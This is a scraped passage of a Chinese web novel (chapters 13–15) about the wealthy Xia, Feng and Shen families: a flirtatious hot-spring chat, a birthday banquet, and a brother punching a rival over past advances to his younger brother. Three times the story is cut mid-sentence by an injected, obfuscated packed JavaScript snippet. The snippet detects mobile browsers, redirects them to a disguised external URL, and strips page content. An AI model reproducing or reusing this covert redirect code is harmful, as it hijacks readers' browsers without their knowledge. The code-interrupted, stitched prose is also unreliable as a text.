这件事还真不是封煜在故意隐瞒。当年的事是上一辈的纠葛,闹得很难看,老一辈的能知道的都知道,这些年大家不提其实是给周老爷子面子。至于为什么现在主事的夏元岑不清楚情况,只能说年头的确久了些,加上利益方面切割的干净,也不算什么重要的事,交接的时候恐怕都忘了提上一嘴。
封煜理解夏元岑的谨慎,换成是他也要了解清楚情况后再继续合作。不过真没必要把夏星时留在这。
封煜抬眼看向夏星时:“行了,回去跟朋友玩吧,我这不用你陪着。”
封煜已经尽力在压抑忍耐,可冷峻的眉眼依然暴露出几分危险的气息。
“哥,我这带着任务呢。”
夏星时的声音很干净,平时的语调不急不缓,给人温柔平和感觉,可他说这句话的时候,尾音微微挑起,听不出是抱怨,反而像是在撒娇。
“坐下来聊聊天嘛,帮帮忙,求你了。”夏星时轻拽了一下封煜的袖口。
毫无察觉的小羊主动靠近豺狼。
封煜确信,现在夏星时是真的在撒娇。
从封煜的视角能看见夏星时微微仰着头,眉眼带笑,仿佛有星辰揉碎在瞳孔中,任谁都没办法拒绝他。
他的思维有一瞬间的卡顿,还没等回神,身体已经不由自主顺着夏星时那微不可查的力道坐了下来。
他甚至坐的是夏星时这边的椅子,封煜想要起身坐到另一侧,夏星时却比他更快的跑到对面坐好。
两个躺椅中间其实并没有预留太多的位置,两个人个子又都很高,面对面坐着肢体接触很正常。
夏星时反应很快:“哥你别动,我往右边挪挪。”
封煜能清晰的感受到从皮肤传导过来的温热触感,他不自在的往后撤了撤,视线不经意间扫过夏星时,随后顿住。
他知道夏星时个子高,腿长是显而易见的,但的确刚刚才发现这双腿同时也很直。肌肉线条流畅有力,腿肉透着健康的气血感,青色的血管攀附在白皙的脚背上,就连脚踝凸起的踝骨都仿佛画师精心勾勒的笔触。
身体比意识更先启动,突如其来升起一阵躁意,封煜慌忙错开视线,拿起旁边的水杯灌下一口水,微凉的液体划过喉咙才终于压下那股无端的燥。
“哥,要不还是喝这个茶吧。”夏星时捧着水杯,语气略有迟疑。
封煜看了看夏星时又看了看手里的杯子。
很好,中招了。
13.第 13 章
“冰红茶也是茶,对吧?”夏星时满脸无辜。
“少喝饮料。”封煜将杯子放回原位,语气平静。
看得出来,他并不认可夏星时的歪理。
夏星时对于这种家长式的随口说教也是根本没放在心上,将话题转到一个轻松的频道:“这几天豆包可想你了。”
封煜眼底闪过一抹沉思。
其他人说这句话,封煜只会觉得是字面上的客套,但从夏星时嘴里说出口来,那就不得不进行深入分析了。
以目前的情况来看,夏星时依然对自己感兴趣,但碍于夏元岑的关系,多少还是有一些犹豫的,不过心思还没全消,依然蠢蠢欲动。
果然,现在是试探。
这句话的重点显而易见不在豆包,而在于“可想了”。
表面来看,夏星时是在说豆包,但实际是在暗示想我的是他夏星时。
用豆包做防火墙掩护,做出无辜的假象,一旦自己做出回应,那就从单向狙击转变为双向选择,夏星时却依然可以随时推卸责任体面抽身离场,甚至倒打一耙。
真过分啊。
不过,现在是我的回合!
封煜眼神冷漠:“我其实不喜欢狗。”
夏星时有些意外,歪头问:“哥你不会是猫党吧?”
夏星时半边身体倚在靠背上,整个人透着种闲适的懒散,优雅又自然。
这幅姿态落在封煜眼里就很有猫感,那句“猫党”的问话,更是直接具象为——“不喜欢狗,那喜欢我吗?”
封煜又给自己灌了口水。
封煜深感敌人攻势凶猛。夏星时是自然了,他快不行了。
如果现在一场回合制游戏,封煜觉得自己第一管血应该是已经空了,而更可怕的是,对手只是发出两次平A。
精妙的操作!
封煜:“不是,只是单纯不喜欢任何活物入侵我的生活空间。”
是的,是任何!
“啊……”夏星时眨眨眼睛。
虽然封哥的语调没什么变化,但他莫名就听出了几分激昂,难道是因为重音在“任何”上?
夏星时思维发散片刻迅速回神。
夏星时:“其实我也差不多,没有那种特别想养只宠物的想法。”
封煜松了一口气。看来他和夏星时达成了共识。
“说起来,从小到大我只独立养过一只小鸡,是我从校门口买的,然后养了半年,”夏星时似乎陷入思考,眼神露出几分追忆,“……炖完之后可香了。”
封煜:嗯???什么意思?
到底达没达成共识?
夏星时咂么下嘴,赶忙将话题转回去:“豆包看起来是只亲人的小狗,其实有时候脾气可大了,拆起家来比二哈还猛,闹起来我根本治不住。”
在哄长辈这件事上,夏星时有自己的独到见解。哄人,无外乎一个夸字,但怎么夸很有讲究。
你不能夸那些浮于表面的东西,比如封煜,你夸他长得帅能力强年少有为,这种显而易见事实,谁看不出来?
被夸的都听腻了,那根本达不成哄的目的!
夏星时没有明夸,而是通过客观事实以及对比自己从而凸显封煜有耐心有责任心!
“而且我看监控豆包这段时间一次拆家行为都没有,哥你怎么做到的?”
豆包的小屋里有一个固定监控和两个移动监控,夏星时手里有其中一个移动监控的控制权,有时候会连上去看看豆包。
对于豆包整整半个月没拆家,夏星时也是十分困惑的。
他这句询问,一方面的确是好奇,另一方面则是在充分满足男人的天性——好为人师。
面对夏星时充满好奇的目光,封煜回忆起自己去照顾豆包的第一天。
他和表姐做了简单的交接后,来到阳台,而看见陌生人的豆包充满了狗德,不仅没有应激,反而走到他腿边开始摇尾巴。
开始的时候,封煜还以为是豆包喜欢自己,但很快,坐在地上衣服凌乱的封煜看着追着自己尾巴原地转圈的豆包,深刻明白他是自作多情了——这狗纯粹是精力旺盛。
封煜唇角不自觉勾起一个微弱的弧度,声音也不似先前那么冷淡:“也没什么,只是每天带他出门跑了二十公里而已。”
夏星时:“啊,其实豆包还挺喜欢跑步的,我姐偶尔晚上也会带他出去跑两小时,等等……每天吗?”
夏星时愣了。
身为一只牧羊犬,豆包的活泼和高精力是写在基因里的,为了消耗豆包那些额外的精力,从而避免拆家事故,二姐不止会带豆包跑步,甚至偶尔也会去爬爬山。
但那是偶尔。
二十公里,对狗和人来说都不算什么大问题,但谁会为了遛狗每天二十公里啊!
消耗小狗精力,可以玩抛球、飞盘,还可以让小狗和小狗玩,总之,跑二十公里这种行为与其说是为了消耗豆包精力,不如说是在……较劲?
不是,哥,你怎么跟小狗较劲啊?
夏星时沉吟片刻说道:“哥你可真有……执行力。”
封煜微微颔首,嘴角弧度又高了些:“还行吧。”
夏星时眨眨眼睛,彻底确认他封哥是真的在跟小狗较劲。
嗯……有点怪,很有反差!
人类在聊天这种事情上,有独特的发散天赋,不管开头的话题多么严肃正经,最终也会驶往不可捉摸的方向。
尤其在夏星时刻意哄人的聊天方式下,时间过得飞快,蹲在院子外面听爸爸讲八卦得夏元岑也结束了通话。
他走进温泉池的时候,两人刚好说到洛家。
“说洛家带我一个呀。”夏元岑将手里的两听冰啤放在弟弟肩膀上。
夏星时被突然响起的声音以及肩膀上的凉意吓了一跳,险些蹦起来,缓了一会儿才恹恹地说:“哥你走路怎么没声啊。”
夏元岑跨过躺椅坐下,把其中一听冰啤递给封煜:“是你太沉浸了好吧,封煜就没被吓到。”
夏星时瞪大了眼睛,很想抗议那是因为封哥对着门能看见!但夏元岑没给他机会开口继续说:“咋的,你这边有洛家的新消息?让我也听听。”
夏星时:“我有什么新消息,就是洛家那两个双胞胎回国,他们好像就住在二姐小区。”
说实在的,和封煜聊天这件事对夏星时是有一点挑战的,出于客观因素,封哥家庭工作都算禁忌话题,而生活上他又不太了解,没什么切入点。
不过还好,洛家总能给豪门八卦圈提供源源不断地话题。没得聊?聊洛家就对啦!
只要你吃洛家的瓜,那我们就吃上一个瓜了!
夏元岑的声音带着一丝幸灾乐祸:“是有这事!传言说是洛叔要给洛明琛洛明瑾集团股份,所以现在整个晋西北乱成一锅粥啦!我愿称之为称十八铜人夺嫡战!”
十八铜人……夏星时险些笑出声。
夏元岑忽然扭头:“对了,双胞胎回国没约你啊?”
夏星时莫名其妙:“约我干什么,我跟他们又不熟。”
夏元岑顿了一下,眼神茫然了一瞬:“啊?不熟吗?你们不是做了好几年的笔友?”
夏星时比夏元岑茫然多了:“谁和他们做笔友啊?”
“等等,你是说笔友吗?”夏星时眉头一皱,声音都有点不自信了,“我好像只有一个笔友?”
夏元岑:“对哇,就是小瑾,洛明瑾呀。”
夏星时沉默许久:“小瑾不是咱爸资助的小孩吗?”
“嗯,资助……”夏元岑喝了口小麦饮料,摸着下巴说:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113455|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“也算是吧。”
夏星时:“???”
你说清楚,什么叫也算是???
夏元岑感受到弟弟眼神中的质问,唇角微勾,刚要张嘴,夏星时急忙打断,“长话短说!”
夏元岑一口气还没提起来就散了:“带球跑,千里追球,并不和平的分手,啧啧。”
完没讲到重点啊!
夏星时恶狠狠锤了大哥一拳:“小瑾的地址一直在S省啊!”
双胞胎不是在国外吗!
夏元岑握住弟弟手腕,满脸无辜:“这部分解释在长话里!”
封煜突然开口:“洛明琛和洛明瑾六岁到十八岁这段时间,一直跟随克丽丝女士生活在S省,克丽丝女士在Y大做外教,工作应该是夏叔叔介绍的。双胞胎成年后回丹林处理继承权等问题,四年后,也就是今年才重新回到国内。”
夏星时有些意外,但很快回神,怒而甩手:“夏元岑,这才叫长话短说!”
夏元岑举手投降,很是无奈的转头:“老封,你哪伙的?”
封煜举起冰啤,自罚一口。
夏元岑也没纠结,转头挑拨离间:“要我说,这事肯定是咱爸故意误导你,骗小孩,不要脸!”
夏星时和[小瑾]做笔友的时间是双胞胎在国内的十年,第一次写信的时候,夏星时是个仅有幼儿园文凭的文盲,根本无法分辨父亲的谎言。
夏星时下意识点头,这一瞬间他对大哥的认同感达到了巅峰。
夏元岑啧了一声:“爸骗你的时候居然不带我这个嫡长子一起,真是感情淡了。”
夏星时:真是认可早了。
“怎么扯到这了,”面对弟弟含着怒火的眼神,夏元岑迅速转移话题,“我是想跟你说,双胞胎找你玩先别应,怎么也得等洛家那边闹腾完了再说,洛家的事我们不掺和,你也别掺和。”
“噢。”夏星时点头,他想到那天撞见的“洛明瑾”忽然皱了下眉。
他站起来:“我回去了啊。”
夏元岑挥手:“玩去吧。”
夏星时:“那封哥拜拜,有空下次再约,先走啦。”
封煜矜持点头:“嗯,拜拜。”
夏星时回到二号院,转了一圈在温泉池找到了烧烤摊,他拿了两个肉串,含糊不清问:“搬这边来干嘛?”
袁易叹气:“我们害怕家长来串门。”
夏星时:“没那么夸张,我哥明早就走,咱们玩咱们的。”
杨程和徐渝击掌庆祝警报解除。
袁易翻着串,语气随意:“对了,刚才洛柏发消息想约你出去赛车,我说不清楚你有没有档期。”
洛柏,洛家十八铜人之一,在洛家的养蛊夺嫡大战中,稳居倒数后三名,毫无竞争力,按他的意思,我都叫洛柏了,我努力个屁!
如果是袁易自己,那肯定直接回绝,但人家问的是夏少爷,他顶多是个中间人,肯定不能替正主做决定。
夏星时摇头:“这段时间最好别和姓洛的接触,麻烦。”
袁易点头:“那我晚点拒了。”
杨程:“话说双胞胎回国后一点动作也没有,有没有一种可能人家根本不想掺和洛家的事?”
徐渝:“得了吧,能岁月静好那就不是洛家了,再说了,洛家现在僧多肉少,多一个出来分肉那就是在割别人的肉,有枣没枣也得打两下,被偷家就晚了。”
夏星时挑眉,又想起了昨天的“偶遇”。
回忆起以前的信件内容,他不清楚双胞胎身份情有可原,但双胞胎不可能不知道笔友是他——因为从拥有幼儿园文凭起,他每次都会认认真真署上自己的大名!
洛明瑾在装什么!
小夏唇角下压,发出满是情感偏见的发言:“都不是什么好东西。”
14.第 14 章
袁易三人识趣的没有问夏星时为什么会对双胞胎有这种评价。
少爷的事你少管!一定是双胞胎的错!
而且都出来玩了,还操心那些乱七八糟的干什么。
第二天,夏元岑过来嘱咐两句就走了,而确认“家长”已经离开的游玩小团伙…小团队正式进入状态。
上午,开展游戏互助直播小组,点一个技术陪玩凑五黑,靠着高品质陪玩的力挽狂澜的操作,成功拿下十颗星。
徐渝和陪玩一起直播连麦,身为老板,他菜的很有直播效果。
徐渝:“关于混子的自我修养!救赎之道就在其中!我们五个真是太厉害啦!”
下午,带上VR眼镜,在虚拟世界体验当赛博搬砖工,画画不行,但搭建我还不会嘛!
在总设计师杨程的指挥下,一座可以七百二十度旋转的由像素点组成的喷泉拔地而起。
总工程师杨程发表获奖感言:“这是虚拟猫咪庄园的一小步,却是我们的一大步!”
傍晚,袁易在山下洗浴区开了个K歌房,大展歌喉。
一天下来,并不算高精力的三人歇菜了。
唯有夏星时,感觉自己开始起状态了打算和豆包出去玩一会。浅浅的遛个十公里的弯吧。
豆包今天被二号院的管家带走拍写真——是的,温泉山庄提供宠物托管业务。
杨大工程师说这是为了给一些有特殊需求的人群提供幌子。
其余人这次没有反驳。
不过虽然疑似为幌子岗,但效果是真的很不错。当天出片,一本台历两个摆台二十段小视频,以及高达千张的电子图片。
夏星时采用一键转发功能将图片视频转给二姐,得到二姐口头表扬。
第二天夏星时早起,先带着豆包出去溜了一圈,又去下面自助吃了早饭,回来的时候余下的三人组也只起了一个袁易。
睡懒觉是大学生的权威项目。
夏星时:“佛爷,你是不是应该恢复一下健身计划了?”
袁易喝着粥,表情苦了一下:“哥们这不是有心理阴影了么。”
按照体重来说,袁易是重的,但他不是胖,而是壮。半年前的袁易更是“精壮”,很有健身痕迹,要腹肌有腹肌,要肱二头肌有肱二头肌。
而袁易的心理阴影就来自于分享了一次健身小视频——家人们谁懂啊,私信七成是“兄弟你好香”!好,就算把这些都当玩梗的,可还他/妈有人给他私密照啊!男的!
虽然他迅速举报拉黑一条龙,但小心脏遭受的伤害却没那么容易修复。
能让袁易这么一个稳重大气的人自闭好几天走不出来,说明他的确很受伤害。
正所谓适度健身吸引异性,过度健身吸引同性。偏偏袁易就是那种练一练很容易出大肌肉块的类型。
袁易也因此对某地ip的刻板印象更重了。
“哈欠~”杨程晃晃悠悠出来,刚好听见两人谈话,他漫不经心说,“但你现在这样也很符合某些人的喜好呀,□□小熊~安啦兄弟,你现在要做的就是少上网。”
袁易表情更苦了,那张天生带着佛性的脸满是悲悯,仿佛下一刻就要渡走世人。
杨程只是开个玩笑,话锋一转:“不过说真的,你现在这种脂包肌的状态,说不定会有脂肪肝,太不健康了。”
夏星时点头。
杨程沉吟片刻,忽然拍手,又开始不正经了:“但佛爷你有双下巴之后更有佛爷味了,以前是怒目金刚,纯打手岗,一看就赚不了几个子,现在至少是个正佛级哇。”
夏星时乐了:“确实。”
“打住打住吧,我这就找教练给我指定饮食计划,争取返回原岗发光发热。”袁易赶忙中断这个忧桑的话题,转头看向夏星时,“话说,今天是沈老过寿吧,星时你……”
袁易也是刚才在家庭群里看见老爹老哥试礼服才想起来这回事。
夏星时摇头:“我不去,我爸妈和我哥会出席。”
杨程愣住:“我还以为咱们是打着星时的旗号逃避家族任务呢。”
出席沈老寿宴的人选可以有很多,但能陪夏少的,寥寥无几呀!谁还没有个艰巨任务嘞!
袁易无奈:“我爸嫌我最近胖了太多带不出手,所以根本没打算带我去。”
哥们可没有逃避,哥们是真忘了!
杨程讪笑:“问题不大,情况虽然有些出入,但有出入才是情况。”
“什么废话文学。”袁易叹气,“我去把渝子叫起来,趁热把早饭吃了。”
杨程:“呜,袁妈妈,感动。”
袁易:“滚蛋!!!”
小分队继续快乐的玩耍,蒸桑拿,漂流,打电动,打台球……将什么宴不宴会的抛在脑后。
.
沈氏这次办的宴会,核心是给沈老爷子祝寿,而且是整数的寿宴,办的很隆重,邀请函几个月前就发了。
前场的慈善拍卖还在进行,后场宴会已经开始觥筹交错了。
二楼休息室里沈老拉着封煜的手忆往昔:“我也没想到老周走的这么急,哎,熟悉的老友一个接着一个走,不知道什么就到我了。”
封煜是一个很好的倾听者,耐心、沉默、长得帅。
沈老叫他过来也不是真的想忆往昔,主要是委婉解释一下为什么请帖发的晚。
——那阵子他姥爷的确病的重,给病人发过寿请帖跟挑衅没什么区别。情有可原。
况且人家老爷子都亲自解释了,岁数辈分摆在这,他总不能实话实说吧:咱两家关系也就一般,可别演过了把自己也骗了。
老头年纪大了,别再气出个好歹。
沈老只解释了为什么之前不发请帖,但完全没说为什么前两天硬要发请帖。
遮遮掩掩,准没好事。
封煜打算找个机会礼貌结束这场毫无营养的闲聊。
不过他还没开口,敲门声先响了。
“爷爷,夏叔到了。”
推门进来的是沈江尘,沈老爷子的长孙。他身后跟着的是夏乘风、游芳菲,以及他们的儿子夏元岑。
封煜站起,朝夏父、游女士点头示意。
沈老笑眯眯,语气间很是亲近:“来啦,元岑是越来越有你爸的风范了。”
“什么风范啊,这么多年都没什么长进,也就在外面人模狗样的,跟江尘比不了。”夏父嘴上挺谦虚。
这种客套话也就过耳一听,沈老也没当真:“怎么元瑾和星时没来呀?”
夏父满脸无奈:“元瑾有训练,那边离不开她,星时啊,他我现在是管不了了。”
沈老:“有一阵子没见着星时了,长大了也不亲近我这个老头子了,有空让星时过来陪陪老头我。”
夏乘风顾左言他:“男孩嘛,淘气,不着家,多正常,别提那小崽子了,咱爷俩今晚上得喝两口。”
说着,夏乘风给老爷子满上茶,然后将自己杯中的茶一饮而尽。
“哎哎哎!牛嚼牡丹!”沈老赶忙抢走自己的茶壶,眼神满是心疼。
你这泼猴!
夏乘风哈哈大笑,咂咂嘴混不吝道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118258|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“呦,您这是把压箱底好货拿出来了?那我可得多喝点。”
夏元岑见状跟他妈打了个眼色,扯着封煜退出屋,沈江尘也跟着一起出来了。
“岑哥。”沈江尘叫住夏元岑,脚步加快,拦在两人身前。
夏元岑抬手打住:“别叫我哥,我可没有你这种弟弟。”
封煜见状眼中闪过一丝兴味,有矛盾?
“岑哥,当年的事……是我不对,”沈江尘摩擦着手腕的星月菩提,露出一个苦笑,“但感情的事,也不是我能控制的。”
沈江尘直视夏元岑,剪裁得体的纯白西装,一丝不苟地贴合着肩线与腰身,眉骨投下的阴影刚好落在眼窝,眉眼带着清冷与疏离,从骨子里透出克制于自持。
直到视线落在他手腕,看见那串和造型格格不入的菩提手串,才能品出那克制中的浓重压抑。
沈江尘声音低哑:“岑哥,我有两年没见过星时了。”
他五官立体,睫毛很长,气质很干净,此刻眼帘微垂,露出几分脆弱。
封煜听见关键词精神一振,朝夏元岑投去询问的眼神。
夏元岑没空理他,满脸的不耐:“是我不让你见星时的?哦,对,是我!见星时?你想都别想。”
“你还想让老爷子叫星时过来,你还要不要脸啊。”
他们两家关系是亲近,他弟也的确嘴甜讨长辈喜欢,但这种场合没把人带过来就已经很说明问题了,老爷子不至于人没来还硬要见人。
当然,老爷子也可能只是单纯想到了提一嘴,但夏元岑对沈江尘印象实在是差,不惜以最大的恶意去揣测他。
他也的确想对了。
沈江尘本以为今天能和星时见一面,能把一些话讲清楚的,但没想到连给爷爷祝寿夏叔都没带星时。
爷爷知道他心思,舍下老脸开了口,但夏叔……没搭茬。
沈江尘:“你总不能一直控制星时,他有交朋友的权利。”
他来堵夏元岑也是真没招了。
自从两年前被夏元岑发现自己对星时的心思,他先是被夏元岑拉着到拳场揍了一顿,因为心虚全程没敢还手,在医院躺了三天。
在医院那段时间夏星时就不理他了,沈江尘很慌,出院后他立刻找到夏星时,但夏星时见了他却一个劲的躲。
沈江尘的心当时都凉了半截,还以为夏元岑把事告诉星时了。
但实际情况是——
“哎呀,尘哥你别拉我啊!我哥不让我跟你玩了!”
“不行不行,他要断我生活费,不给我买摩托了!”
“他是真的生气了,尘哥你等他消消气吧,过一阵我们再联系吧!”
夏元岑怎么可能消气!
可沈江尘当时还有微弱的希望,万一在星时心里他能比摩托地位高点呢?
没有,完全没有。
夏星时真的一次都不见他了。
发消息不回,打视频不接,换个号码打电话听见是他的声音就立刻挂断。
说不跟他玩就不跟他玩,绝情的很。
他在那个炙热的夏天,没能克制住比烈火还汹涌的情感,俯身下去想要偷吻那个躺在草地上、枕着他膝盖的少年。
云不动了,风也静了,他满心满眼只有夏星时,那一瞬间他想了很多,过去的种种,还有未来……
然后还没亲到,就被少年他哥扯着领子胖揍一顿,之后两年再没见过心上人一面。
思念和情感并未因分离但淡漠,反而因曾经触手可及如今不可触碰而变得愈加不甘。
15.第 15 章
封煜稍稍后退两步,免得这两人打起来发挥不好。
封煜眉头微皱:“两年?星时那时候才多大?”
他声音很低,但已经足够对峙的两人听见。
沈江尘下意识看了眼封煜。他怀疑对方在挑事,可惜没有证据。
多大也成年了,说破天也不是早恋,但在一个哥哥眼里,事不是这么算的。
果然,夏元岑本来快要压下去的火死灰复燃了,甚至比之前烧的还旺:“沈江尘你少跟我在这偷换概念,你那是交朋友吗!龌龊!卑鄙!下流!”
沈江尘理亏,加上这两年夏元岑每次见他都差不多是这幅德行,他都快习惯了。
“就算我现在承认自己以前错了,告诉你是我当年不懂事一时昏了头,以后一定改。你信吗?”沈江尘语调平静,目光沉沉。
他就站在那,身形高大挺拔,如同一棵青松扎在那,眉目冷冽锐利,唇很薄,有种拒人千里的淡漠。
沈江尘摩擦着手腕的珠子,仿佛是撕开了一道隐秘的裂缝,随后堕入红尘又深陷红尘。
“我只是喜欢星时而已。”他轻声说。
话音未落,夏元岑的拳头便狠狠迎来上来。
沈江尘没来得及躲,也根本躲不开。
夏元岑尚有理智,没有打脸。
但这一拳的力道却让沈江尘猛地蜷缩一下,他捂着腹部,艰难直起身体,细密的冷汗不受控制冒出,脸色也变的惨白,狼狈极了。
夏元岑垂下手臂,将刚才解开的扣子系好,指腹在面料上停留片刻,抹平并不存在的褶皱,西装重新将他包裹得严丝合缝,又是刚刚体面的夏总了。
如果封煜不是亲眼目睹,很难相信夏元岑刚才竟然揍人了。
永远不要惹怒一个哥哥。
“唧唧歪歪说什么呢,吵死了。”夏元岑目光落在沈江尘身上,眼神很冷,“星时以后喜欢谁,和谁和谁在一起,这是他自己的事。就算星时有一天忽然决定要和一条狗度过余生,只要他愿意,我也不会管。”
夏元岑顿了一下,心想后面那句只是口嗨。
“但他的喜欢、他的意愿不能被任何人引导。”
如果沈江尘是光明正大的表白或者追求,夏元岑甚至根本不会插手。可沈江尘什么都不说,试图温水煮青蛙让星时习惯他的存在、引导星时得思想,夏元岑忍不了一点。
夏元岑理了理袖口,半垂着眼,落在沈江尘身上的眼神没有半点温度,周围的气压都仿佛低了几分。
封煜不受影响,充分解读夏元岑的话话。
——沈江尘你个黄毛!癞蛤蟆想吃天鹅肉!呸!
封煜的解读夹带了太多私货,却不能说这个答案完全错误吧。
沈江尘捂着腹部,指节过度用力,已经比脸色还白了,但他却笑了:“所以,岑哥你现在允许我见星时了?”
两年,沈江尘留在夏星时生活中的痕迹早已被抹除覆盖。这一次即便以追求者的身份重新出现,夏星时也不会出现对情感的误判。
沈江尘承认自己的确是个混蛋。意识到心动得那一刻,他感受到的不是幸福,而是恐惧。他清晰的明白,心动的只有自己,夏星时根本没这个心思。
现在没有,很可能以后也不会有。
他害怕自己永远得不到夏星时的爱,更害怕夏星时爱上别人。
所以他才想要夏星时依赖他、离不开他,或许星时会有那么一刻的恍惚,认错了这种感情。
夏天炽热阳光下,风吹过的是他那颗洗不净的污浊心脏。
“我不许,你就不见了?”夏元岑反问。
这两年,他管得严星时也足够听话,但彻底能让两个人隔绝的,是沈江尘真的老老实实不联系星时。
他本来以为沈江尘能多忍忍的。最好忍过头,然后想开了,遁入空门就更棒了。
沈江尘垂眼:“岑哥,星时,最近包的那个小明星是怎么回事。”
夏元岑恍然,怪不得坐不住了。
看戏的封煜:嗯?什么小明星?
“心里龌龊看什么都脏,那特么的叫投资。”夏元岑唇角下压。
虽然他在知道这事的时候第一反应也是“包”,但出门在外,要给弟弟面子。
封煜瞳孔微震:不是,夏星时真包小明星了?
“沈老过寿,今天就到此为止。”说完,夏元岑不等沈江尘回应,大步一迈,越过后者,下楼到宴会厅。
封煜慢了一会儿才跟下来:“揍完人了说不想把事情闹大,还得是你。”
夏元岑难得尴尬:“这不是没忍住么。”
刚才也不不知道怎么回事,嘿,有点小上头!
“你知道刚才沈江尘拉我说什么么?”封煜拿起一杯酒,唇角带着意味不明的笑。
夏元岑好奇:“啥?”
“他说,谢谢我帮二姐照顾狗。”封煜视线扫过接待宾客的沈江尘,随后转头看夏元岑,声音充满了嘲讽,“脑子有病吧。”
夏元岑:“……离谱。”
封煜昨天还问他沈氏为什么提前两天给他发邀请函的事,他猜测是周老病重时机不合适不方便发,但愣是没想清楚为什么要在提前两天这个尴尬的时间点硬发。
现在破案了——
完全就是沈江尘不知道从哪听说封煜帮夏元瑾养狗,然后知道封煜和夏星时同居了两天的事吧!
封煜当然也想明白了。
当其他答案都不是正确答案时,最离谱的那个就是真相。
封煜:“他一直这样么?”
夏元岑抿了口酒,语气不太自信:“以前好像没这么离谱?”
不是真把人憋疯了吧。
封煜笑了。
——夏星时挺会调人啊,都快训成狗了。
在沈江尘眼中,是他在不合时宜的时候对夏星时动了心思,惶恐之下犯了错误;而在夏元岑眼中,夏星时是绝对无辜的。总之,错的只有沈江尘。
封煜认可这个答案,但不认同他们的推导过程。
沈江尘先动心思不假,但夏星时未必没有发现!
正是因为夏星时察觉到了沈江尘的心思,才决定把沈江尘当成玩具,看似是猎物的夏星时其实才是猎手!
夏星时像是一只高傲的猫咪,他从不品尝猎物,只玩弄着可怜猎物,然后在玩腻的时候毫不留情地抛弃,再不看一眼。
过期的玩具。
封煜垂眼,压住眼底的情绪,随意问道:“所以,小明星是什么情况?”
他问的太自然,夏元岑甚至没过脑子,直接说:“我二叔认识个钓友,然后管他借钱,人失踪了,他儿子……”
叽里咕噜听完,封煜皱起眉头,所以声替还没上线就被夏星时拦下了?
从刚刚短暂的交锋中,封煜已经分析出那个败犬是“清冷佛子主角攻一”。
嘴里说的再深情,主观不还是找了替身,虽然是声替,但足以证明沈江尘在感情上的不忠。
不止道德水平低,还没有法律意识。
我就不一样,我……
封煜紧急住脑,心不在焉说:“弟弟还挺有爱心哈。”
“碰见了呗,星时应该主要是想给那小姑娘治病。”夏元岑迟疑片刻又说,“但也有可能是对那个男生感兴趣?”
不用有可能,必然是感兴趣。虽然不知道为什么“声替”跟正主走了,但感兴趣是肯定的。封煜想。
难道夏星时是在自恋?
封煜想起夏星时那张脸,下意识点头。嗯,夏星时的话,自恋就很合理了,他有这个资本。
“如果星时真喜欢男孩的话,沈江尘也不是不行。知根知底,有感情基础,长得还行,会疼人……”夏元岑说着说着都开始后悔揍沈江尘了。
你还知根知底上了?封煜扯了下嘴角,面无表情说:“夏星时知道你给他找老公么?他这个年纪至于这么着急?”
夏元岑:“哎呀我不是着急,你没当过哥你不懂,长兄是这样的,我就是他半个爹!就得多操心bala……”
.
夏星时在二姐家里又住了一周半,才终于等到二姐工作结束跟他交接小狗。
夏元瑾当天下午三点多到家。
夏星时给姐姐炖了排骨玉米汤,进屋就能喝上,非常体贴。
“你花二百万包了个小明星啊?”夏元瑾嚼嚼排骨,顺口问。
夏元瑾的长相和夏元岑及其相似,五官几乎是一个模子刻出来的,两个人如果站在一起,任谁看了都知道他们是一家人——是的,夏元瑾和夏元岑俩人是双胞胎。
作为家里的老三,夏星时其实是二胎。
夏星时黑线:“谁包小明星了。”
夏元瑾:“好吧,那是救风尘咯。”
夏星时:?
关于谭淮走投无路之即险些被包这个事,夏星时是知情的。毕竟名义上是要当明星的,钱色交易已经属于重大风险了,夏星时觉不允许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128788|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小谭留下留下这种污点。
即便先前那位寻找声替的金主还没有正式和谭淮接触,仅仅只是让助理来谈合约,但夏小少爷还是要求谭淮明确的和对方划清界限。
某种意义上,他掌控欲是有点强了。
夏星时:“姐,说点好词行吗?”
“这描述难道不是神来一笔,精准的描述吗!”夏元瑾啃着排骨,对自己的文学素养愈发满意。
“姐,我真的就只是乱花了一次钱而已,不要过度联想。”夏星时叹气,“我只是喜欢听他唱歌而已。”
夏星时有理有据:“你想啊,他家里出事了,肯定没心情也没精力创作了,我这不是想听完整版嘛。而且妈妈那边不是想杀进音乐市场嘛,帮我多养一个人也不麻烦,万一火了呢,还能当我的业绩。”
说白了,夏少爷花200w+买了首歌而已。
在夏家,这甚至算不上任性。
夏元瑾迅速接受了这个解释,她本来也没多担心,现在就更放心了,话锋一转,“我跟你讲,这两百万的事完全是夏元岑挑拨咱俩感情,他背后说小话,根本守不住秘密的。”
